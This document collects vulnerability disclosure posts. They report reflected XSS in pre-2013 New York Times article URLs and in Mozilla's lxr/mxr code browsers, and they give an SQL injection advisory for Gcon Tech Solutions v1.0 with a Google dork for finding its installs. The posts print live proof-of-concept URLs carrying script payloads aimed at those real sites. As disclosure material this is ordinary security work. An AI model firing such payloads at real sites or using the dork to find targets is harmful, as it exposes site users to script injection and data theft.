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The New York Times Old Articles Can Be Exploited by XSS Attacks (Almost all Article Pages Before 2013 Are Affected)

 
 

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Domain:
http://www.nytimes.com/

 

“The New York Times (NYT) is an American daily newspaper, founded and continuously published in New York City since September 18, 1851, by the New York Times Company. It has won 114 Pulitzer Prizes, more than any other news organization. The paper’s print version has the largest circulation of any metropolitan newspaper in the United States, and the second-largest circulation overall, behind The Wall Street Journal. It is ranked 39th in the world by circulation. Following industry trends, its weekday circulation has fallen to fewer than one million daily since 1990. Nicknamed for years as “The Gray Lady", The New York Times is long regarded within the industry as a national “newspaper of record". It is owned by The New York Times Company. Arthur Ochs Sulzberger, Jr., (whose family (Ochs-Sulzberger) has controlled the paper for five generations, since 1896), is both the paper’s publisher and the company’s chairman. Its international version, formerly the International Herald Tribune, is now called the International New York Times. The paper’s motto, “All the News That’s Fit to Print", appears in the upper left-hand corner of the front page." (Wikipedia)

 

 

 

(1) Vulnerability Description:

The New York Times has a computer cyber security problem. Hacker can exploit its users by XSS bugs.

 

The code program flaw occurs at New York Times’s URLs. Nytimes (short for New York Times) uses part of the URLs to construct its pages. However, it seems that Nytimes does not filter the content used for the construction at all before 2013.

 

Based on Nytimes’s Design, Almost all URLs before 2013 are affected (All pages of articles). In fact, all article pages that contain “PRINT” button, “SINGLE PAGE” button, “Page *” button, “NEXT PAGE” button are affected.

 

Nytimes changed this mechanism since 2013. It decodes the URLs sent to its server. This makes the mechanism much safer now.

 

However, all URLs before 2013 are still using the old mechanism. This means almost all article pages before 2013 are still vulnerable to XSS attacks. I guess the reason Nytimes does not filter URLs before is cost. It costs too much (money & human capital) to change the database of all posted articles before.

 

 

nytimes_2010_xss

 

nytimes_2011_xss

 

 

 

 

Living POCs Codes:

http://www.nytimes.com/2012/02/12/sunday-review/big-datas-impact-in-the-world.html//’ “><img src=x onerror=prompt(/justqdjing/)>

http://www.nytimes.com/2011/01/09/travel/09where-to-go.html//’ “><img src=x onerror=prompt(/justqdjing/)>?pagewanted=all&_r=0

http://www.nytimes.com/2010/12/07/opinion/07brooks.html//’ “><img src=x onerror=prompt(/justqdjing/)>

http://www.nytimes.com/2009/08/06/technology/06stats.html//’ “><img src=x onerror=prompt(/justqdjing/)>

http://www.nytimes.com/2008/07/09/dining/091crex.html//’ “><img src=x onerror=prompt(/justqdjing/)>

http://www.nytimes.com/2007/11/14/opinion/lweb14brain.html//’ “><img src=x onerror=prompt(/justqdjing/)>

 

 

 

(2) Vulnerability Analysis:
Take the following link as an example,
http://www.nytimes.com/2012/02/12/sunday-review/big-datas-impact-in-the-world.html/“><vulnerabletoattack

 

It can see that for the page reflected, it contains the following codes. All of them are vulnerable.

 

<li class=”print”>

<a href=”/2012/02/12/sunday-review/big-datas-impact-in-the-world.html/”><vulnerabletoattack?pagewanted=print”>Print</testtesttest?pagewanted=print”></a>

</li>

 

<li class=”singlePage”>

<a href=”/2012/02/12/sunday-review/big-datas-impact-in-the-world.html/”><testtesttest?pagewanted=all”> Single Page</vulnerabletoattack?pagewanted=all”></a>

</li>

 

<li> <a onclick=”s_code_linktrack(‘Article-MultiPagePageNum2′);” title=”Page 2″ href=”/2012/02/12/sunday-review/big-datas-impact-in-the-world.html/”><vulnerabletoattack?pagewanted=2″>2</testtesttest?pagewanted=2″></a>

</li>

 

<li> <a onclick=”s_code_linktrack(‘Article-MultiPagePageNum3′);” title=”Page 3″ href=”/2012/02/12/sunday-review/big-datas-impact-in-the-world.html/”><vulnerabletoattack?pagewanted=3″>3</testtesttest?pagewanted=3″></a>

</li>

 

<a class=”next” onclick=”s_code_linktrack(‘Article-MultiPage-Next’);” title=”Next Page” href=”/2012/02/12/sunday-review/big-datas-impact-in-the-world.html/”><vulnerabletoattack?pagewanted=2″>Next Page »</testtesttest?pagewanted=2″></a>

 

 

 

 

(3) What is XSS?

Cross-site scripting (XSS) is a type of computer security vulnerability typically found in Web applications. XSS enables attackers to inject client-side script into Web pages viewed by other users. A cross-site scripting vulnerability may be used by attackers to bypass access controls such as the same origin policy.

 

“Hackers are constantly experimenting with a wide repertoire of hacking techniques to compromise websites and web applications and make off with a treasure trove of sensitive data including credit card numbers, social security numbers and even medical records. Cross-site Scripting (also known as XSS or CSS) is generally believed to be one of the most common application layer hacking techniques Cross-site Scripting allows an attacker to embed malicious JavaScript, VBScript, ActiveX, HTML, or Flash into a vulnerable dynamic page to fool the user, executing the script on his machine in order to gather data. The use of XSS might compromise private information, manipulate or steal cookies, create requests that can be mistaken for those of a valid user, or execute malicious code on the end-user systems. The data is usually formatted as a hyperlink containing malicious content and which is distributed over any possible means on the internet." (Acunetix)

 

The vulnerability can be attacked without user login. Tests were performed on Firefox (34.0) in Ubuntu (14.04) and IE (9.0.15) in Windows 8.

 

 

 

Discover and Reporter:
Jing Wang, Division of Mathematical Sciences (MAS), School of Physical and Mathematical Sciences (SPMS), Nanyang Technological University (NTU), Singapore. (@justqdjing)

 

 

 

 

More Details:
http://lists.openwall.net/full-disclosure/2014/10/16/2
http://www.tetraph.com/blog/xss-vulnerability/new-york-times-xss
http://permalink.gmane.org/gmane.comp.security.fulldisclosure/1102
http://webcabinet.tumblr.com/post/121907302752/new-york-times-xss
http://www.inzeed.com/kaleidoscope/xss-vulnerability/new-york-times-xss
https://progressive-comp.com/?l=full-disclosure&m=141343993908563&w=1
http://webtech.lofter.com/post/1cd3e0d3_6f57c56
http://tetraph.blog.163.com/blog/static/2346030512014101270479/
https://vulnerabilitypost.wordpress.com/2014/11/01/new-york-times-xss
http://lifegrey.tumblr.com/post/121912534859/tous-les-liens-vers-les-articles
http://securityrelated.blogspot.com/2014/10/new-york-times-design.html
https://mathfas.wordpress.com/2014/11/01/new-york-times-xss
http://computerobsess.blogspot.com/2014/10/new-york-times-design.html
http://whitehatview.tumblr.com/post/103788276286/urls-to-articles-xss
http://diebiyi.com/articles/security/xss-vulnerability/new-york-times-xss

 

 

 

Mozilla Online Website Two Sub-Domains XSS (Cross-site Scripting) Bugs ( All URLs Under the Two Domains)

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Domains:
http://lxr.mozilla.org/
http://mxr.mozilla.org/
(The two domains above are almost the same)

 

Websites information:
“lxr.mozilla.org, mxr.mozilla.org are cross references designed to display the Mozilla source code. The sources displayed are those that are currently checked in to the mainline of the mozilla.org CVS server, Mercurial Server, and Subversion Server; these pages are updated many times a day, so they should be pretty close to the latest‑and‑greatest." (from Mozilla)

“Mozilla is a free-software community which produces the Firefox web browser. The Mozilla community uses, develops, spreads and supports Mozilla products, thereby promoting exclusively free software and open standards, with only minor exceptions. The community is supported institutionally by the Mozilla Foundation and its tax-paying subsidiary, the Mozilla Corporation. In addition to the Firefox browser, Mozilla also produces Thunderbird, Firefox Mobile, the Firefox OS mobile operating system, the bug tracking system Bugzilla and a number of other projects." (Wikipedia)

 

 

 

(1) Vulnerability description:
Mozilla website has a computer cyber security problem. Hacker can attack it by XSS bugs. Here is the description of XSS: “Hackers are constantly experimenting with a wide repertoire of hacking techniques to compromise websites and web applications and make off with a treasure trove of sensitive data including credit card numbers, social security numbers and even medical records. Cross-site Scripting (also known as XSS or CSS) is generally believed to be one of the most common application layer hacking techniques Cross-site Scripting allows an attacker to embed malicious JavaScript, VBScript, ActiveX, HTML, or Flash into a vulnerable dynamic page to fool the user, executing the script on his machine in order to gather data. The use of XSS might compromise private information, manipulate or steal cookies, create requests that can be mistaken for those of a valid user, or execute malicious code on the end-user systems. The data is usually formatted as a hyperlink containing malicious content and which is distributed over any possible means on the internet." (Acunetix)

 

 

All pages under the following two URLs are vulnerable.
http://lxr.mozilla.org/mozilla-central/source
http://mxr.mozilla.org/mozilla-central/source

This means all URLs under the above two domains can be used for XSS attacks targeting Mozilla’s users.

Since there are large number of pages under them. Meanwhile, the contents of the two domains vary. This makes the vulnerability very dangerous. Attackers can use different URLs to design XSS attacks to Mozilla’s variety class of users.

 

 

mozilla_lxr_2_xss

 
 

mozilla_mxr_1_xss

 

 

 

POC Codes:

http://lxr.mozilla.org/mozilla-central/source/<body onload=prompt(“justqdjing")>

http://mxr.mozilla.org/mozilla-central/source/<body onload=prompt(“justqdjing")>

http://mxr.mozilla.org/mozilla-central/source/webapprt/<body onload=prompt(“justqdjing")>

 

(2) Vulnerability Analysis:
Take the following link as an example,
http://lxr.mozilla.org/mozilla-central/source/chrome/<attacktest&gt;

In the page reflected, it contains the following codes.

<a href="/mozilla-central/source/chrome/%253Cattacktest%253E">

<attacktest></attacktest>

</a>

If insert “<body onload=prompt(“justqdjing")>" into the URL, the code can be executed.

The vulnerability can be attacked without user login. Tests were performed on Firefox (26.0) in Ubuntu (12.04) and IE (9.0.15) in Windows 7.

 

 

(3) Vulnerability Disclosure:
The vulnerability have been reported to bugzilla.mozilla.org. Mozilla are dealing with this issue.

 


Discovered and Reported by:
Wang Jing, Division of Mathematical Sciences (MAS), School of Physical and Mathematical Sciences (SPMS), Nanyang Technological University (NTU), Singapore. (@justqdjing)
http://www.tetraph.com/wangjing/

 

 

More Details:
http://lists.openwall.net/full-disclosure/2014/10/20/8
http://static-173-79-223-25.washdc.fios.verizon.net/?l=full-disclosure
http://seclists.org/fulldisclosure/2014/Oct/92
http://www.tetraph.com/blog/xss-vulnerability/mozilla-xss
http://whitehatview.tumblr.com/post/101466861221/mozilla-mozilla
http://tetraph.blog.163.com/blog/static/2346030512014101115642885/
http://computerobsess.blogspot.com/2014/10/mozilla-mozillaorg-two-sub-domains.html
https://tetraph.wordpress.com/2014/11/26/mozilla-two-sub-domains-xss
http://tetraph.blogspot.com/2014/10/mozilla-mozillaorg-two-sub-domains.html
http://itsecurity.lofter.com/post/1cfbf9e7_54fc68f
http://whitehatview.tumblr.com/post/103540568486/two-of-mozillas-cross
http://diebiyi.com/articles/security/xss-vulnerability/mozilla-xss
http://www.inzeed.com/kaleidoscope/xss-vulnerability/mozilla-xss
https://mathfas.wordpress.com/2014/11/01/mozilla-xss
http://www.tetraph.com/blog/xss-vulnerability/mozilla-xss
http://permalink.gmane.org/gmane.comp.security.fulldisclosure/1121

Gcon Tech Solutions v1.0 SQL Injection Web Security Vulnerabilities

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Gcon Tech Solutions v1.0 SQL Injection Web Security Vulnerabilities

 

Exploit Title: Gcon Tech Solutions v1.0 content.php? &id Parameter SQL Injection Security Vulnerabilities

Product: Gcon Tech Solutions

Vendor: Gcon Tech Solutions

Vulnerable Versions: v1.0

Tested Version: v1.0

Advisory Publication: May 24, 2015

Latest Update: May 24, 2015

Vulnerability Type: Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’) [CWE-89]

CVE Reference: *

Impact CVSS Severity (version 2.0):

CVSS v2 Base Score: 7.5 (HIGH) (AV:N/AC:L/Au:N/C:P/I:P/A:P) (legend)

Impact Subscore: 6.4

Exploitability Subscore: 10.0

Writer and Reporter: Wang Jing [School of Physical and Mathematical Sciences (SPMS), Nanyang Technological University (NTU), Singapore] (@justqdjing)

 

 

 

Recommendation Details:

 

(1) Vendor & Product Description:

Vendor:

Gcon Tech Solutions

 

Product & Vulnerable Versions:

Gcon Tech Solutions

v1.0

 

Vendor URL & Download:

Gcon Tech Solutions can be obtained from here,

http://www.gconts.com/Development.htm

 

Google Dork:

“Developed and maintained by Gcon Tech Solutions"

 

Product Introduction Overview:

“Over the years we have developed business domain knowledge various business areas. We provide Development Services either on time and material or turn-key fixed prices basis, depending on the nature of the project. Application Development Services offered by Gcon Tech Solutions help streamline business processes, systems and information. Gcon Tech Solutions has a well-defined and mature application development process, which comprises the complete System Development Life Cycle (SDLC) from defining the technology strategy formulation to deploying, production operations and support. We fulfill our client’s requirement firstly from our existing database of highly skilled professionals or by recruiting the finest candidates locally. We analyze your business requirements and taking into account any constraints and preferred development tools, prepare a fixed price quote. This offers our customers a guaranteed price who have a single point contact for easy administration. We adopt Rapid Application Development technique where possible for a speedy delivery of the Solutions. Salient Features of Gcon Tech Solutions Application Development Services: (a) Flexible and Customizable. (b) Industry driven best practices. (c) Knowledgebase and reusable components repository. (d) Ensure process integration with customers at project initiation"

 

 

 

(2) Vulnerability Details:

Gcon Tech Solutions web application has a computer cyber security bug problem. It can be exploited by SQL Injection attacks. This may allow an attacker to inject or manipulate SQL queries in the back-end database, allowing for the manipulation or disclosure of arbitrary data.

Several other similar products 0-day vulnerabilities have been found by some other bug hunter researchers before. Gcon Tech Solutions has patched some of them. CXSECurity is a huge collection of information on data communications safety. Its main objective is to inform about errors in various applications. It also publishes suggestions, advisories, solutions details related to SQL Injection vulnerabilities and cyber intelligence recommendations.

 

(2.1) The first programming code flaw occurs at “content.php?" page with “&id" parameter.

 

 

 

 

 

References:

http://www.tetraph.com/security/sql-injection-vulnerability/gcon-tech-solutions-v1-0-sql/

http://securityrelated.blogspot.com/2015/05/gcon-tech-solutions-v10-sql.html

http://www.diebiyi.com/articles/security/gcon-tech-solutions-v1-0-sql/

http://www.inzeed.com/kaleidoscope/computer-web-security/gcon-tech-solutions-v1-0-sql/

http://computerobsess.blogspot.com/2015/05/gcon-tech-solutions-v10-sql.html

https://itswift.wordpress.com/2015/05/23/gcon-tech-solutions-v1-0-sql/

http://whitehatpost.blog.163.com/blog/static/242232054201542455422939/

https://webtechwire.wordpress.com/2015/05/24/gcon-tech-solutions-v1-0-sql/

https://www.mail-archive.com/fulldisclosure%40seclists.org/msg01766.html

http://cxsecurity.com/issue/WLB-2015040036

http://seclists.org/fulldisclosure/2015/May/32

https://www.bugscan.net/#!/x/21454

http://lists.openwall.net/full-disclosure/2015/05/08/8

http://permalink.gmane.org/gmane.comp.security.fulldisclosure/1955

 

Web Technology Wire

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Gcon Tech Solutions v1.0 SQL Injection Web Security Vulnerabilities

Exploit Title: Gcon Tech Solutions v1.0 content.php? &id Parameter SQL Injection Security Vulnerabilities

Product: Gcon Tech Solutions

Vendor: Gcon Tech Solutions

Vulnerable Versions: v1.0

Tested Version: v1.0

Advisory Publication: May 24, 2015

Latest Update: May 24, 2015

Vulnerability Type: Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’) [CWE-89]

CVE Reference: *

Impact CVSS Severity (version 2.0):

CVSS v2 Base Score: 7.5 (HIGH) (AV:N/AC:L/Au:N/C:P/I:P/A:P) (legend)

Impact Subscore: 6.4

Exploitability Subscore: 10.0

Writer and Reporter: Wang Jing [School of Physical and Mathematical Sciences (SPMS), Nanyang Technological University (NTU), Singapore] (@justqdjing)

Recommendation Details:

(1) Vendor & Product Description:

Vendor:

Gcon Tech Solutions

Product & Vulnerable Versions:

Gcon Tech Solutions

v1.0

Vendor URL & Download:

Gcon Tech Solutions can be obtained from here,

http://www.gconts.com/Development.htm

Google Dork:

“Developed and maintained by Gcon Tech Solutions"

Product Introduction Overview:

“Over the years…

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